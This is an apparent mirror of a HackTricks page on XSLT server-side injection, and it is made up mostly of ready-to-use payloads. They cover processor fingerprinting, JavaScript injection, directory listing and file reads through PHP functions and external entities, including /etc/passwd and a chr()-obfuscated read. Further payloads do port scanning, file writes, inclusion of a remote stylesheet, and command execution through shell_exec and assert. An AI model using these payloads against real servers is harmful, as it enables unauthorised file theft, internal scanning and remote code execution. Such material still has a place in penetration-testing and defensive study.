mirror of
https://github.com/carlospolop/hacktricks
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219 lines
7 KiB
Markdown
219 lines
7 KiB
Markdown
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# XSLT Server Side Injection \(Extensible Stylesheet Languaje Transformations\)
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It is used to transform XML documents in another kind. Versions: 1, 2 and 3 \(1 is the most used\).
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The transformation can be done in the server or in the browser\).
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The most used frameworks are: **Libxslt** \(Gnome\), **Xalan** \(Apache\) and **Saxon** \(Saxonica\).
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## Fingerprint
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Upload this and take information
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```text
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:template match="/">
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Version: <xsl:value-of select="system-property('xsl:version')" /><br />
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Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
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Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
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<xsl:if test="system-property('xsl:product-name')">
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Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
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</xsl:if>
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<xsl:if test="system-property('xsl:product-version')">
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Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
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</xsl:if>
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<xsl:if test="system-property('xsl:is-schema-aware')">
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Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
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</xsl:if>
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<xsl:if test="system-property('xsl:supports-serialization')">
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Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
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/><br />
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</xsl:if>
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<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
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Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
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/><br />
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</xsl:if>
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</xsl:template>
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</xsl:stylesheet>
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```
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## Javascript Injection
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```text
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<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:template match="/">
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<script>confirm("We're good");</script>
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</xsl:template>
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</xsl:stylesheet>
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```
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## Directory listing \(PHP\)
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### **Opendir + readdir**
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```text
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<?xml version="1.0" encoding="utf-8"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
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<xsl:template match="/">
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<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
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<xsl:value-of select="php:function('readdir')"/> -
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<xsl:value-of select="php:function('readdir')"/> -
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<xsl:value-of select="php:function('readdir')"/> -
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<xsl:value-of select="php:function('readdir')"/> -
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<xsl:value-of select="php:function('readdir')"/> -
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<xsl:value-of select="php:function('readdir')"/> -
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<xsl:value-of select="php:function('readdir')"/> -
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<xsl:value-of select="php:function('readdir')"/> -
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<xsl:value-of select="php:function('readdir')"/> -
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</xsl:template></xsl:stylesheet>
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```
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### **Assert \(var\_dump + scandir + false\)**
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```text
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<?xml version="1.0" encoding="UTF-8"?>
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<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
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<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
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<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
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<br />
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</body>
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</html>
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```
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## Read files
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### **Internal**
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```text
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<?xml version="1.0" encoding="utf-8"?>
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<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:template match="/">
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&ext_file;
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</xsl:template>
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</xsl:stylesheet>
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```
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### **Through HTTP**
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```text
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<?xml version="1.0" encoding="utf-8"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:template match="/">
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<xsl:value-of select="document('/etc/passwd')"/>
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</xsl:template>
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</xsl:stylesheet>
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```
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```text
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<!DOCTYPE xsl:stylesheet [
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<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
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<xsl:template match="/">
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&passwd;
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</xsl:template>
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```
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### **Internal \(PHP\)**
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```text
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<?xml version="1.0" encoding="utf-8"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
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<xsl:template match="/">
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<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
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</xsl:template>
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</xsl:stylesheet>
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```
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```text
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<?xml version="1.0" encoding="UTF-8"?>
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<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
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<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
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<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
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<br />
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</body>
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</html>
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```
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### Port scan
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```text
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<?xml version="1.0" encoding="utf-8"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
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<xsl:template match="/">
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<xsl:value-of select="document('http://example.com:22')"/>
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</xsl:template>
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</xsl:stylesheet>
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```
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## Write to a file
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### XSLT 2.0
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```text
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<?xml version="1.0" encoding="utf-8"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
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<xsl:template match="/">
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<xsl:result-document href="local_file.txt">
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<xsl:text>Write Local File</xsl:text>
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</xsl:result-document>
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</xsl:template>
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</xsl:stylesheet>
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```
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### **Xalan-J extension**
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```text
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<xsl:template match="/">
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<redirect:open file="local_file.txt"/>
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<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
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<redirect:close file="loxal_file.txt"/>
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</xsl:template>
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```
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Other ways to write files in the PDF
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## Include external XSL
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```text
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<xsl:include href="http://extenal.web/external.xsl"/>
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```
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```text
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<?xml version="1.0" ?>
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<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
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```
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## Execute code
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### **php:function**
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```text
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<?xml version="1.0" encoding="utf-8"?>
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<xsl:stylesheet version="1.0"
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xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
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xmlns:php="http://php.net/xsl" >
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<xsl:template match="/">
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<xsl:value-of select="php:function('shell_exec','sleep 10')" />
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</xsl:template>
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</xsl:stylesheet>
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```
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```text
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<?xml version="1.0" encoding="UTF-8"?>
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<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
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<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
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<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
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<br />
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</body>
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</html>
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```
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Execute code using other frameworks in the PDF
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### **References**
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[XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)
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[http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)
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[http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
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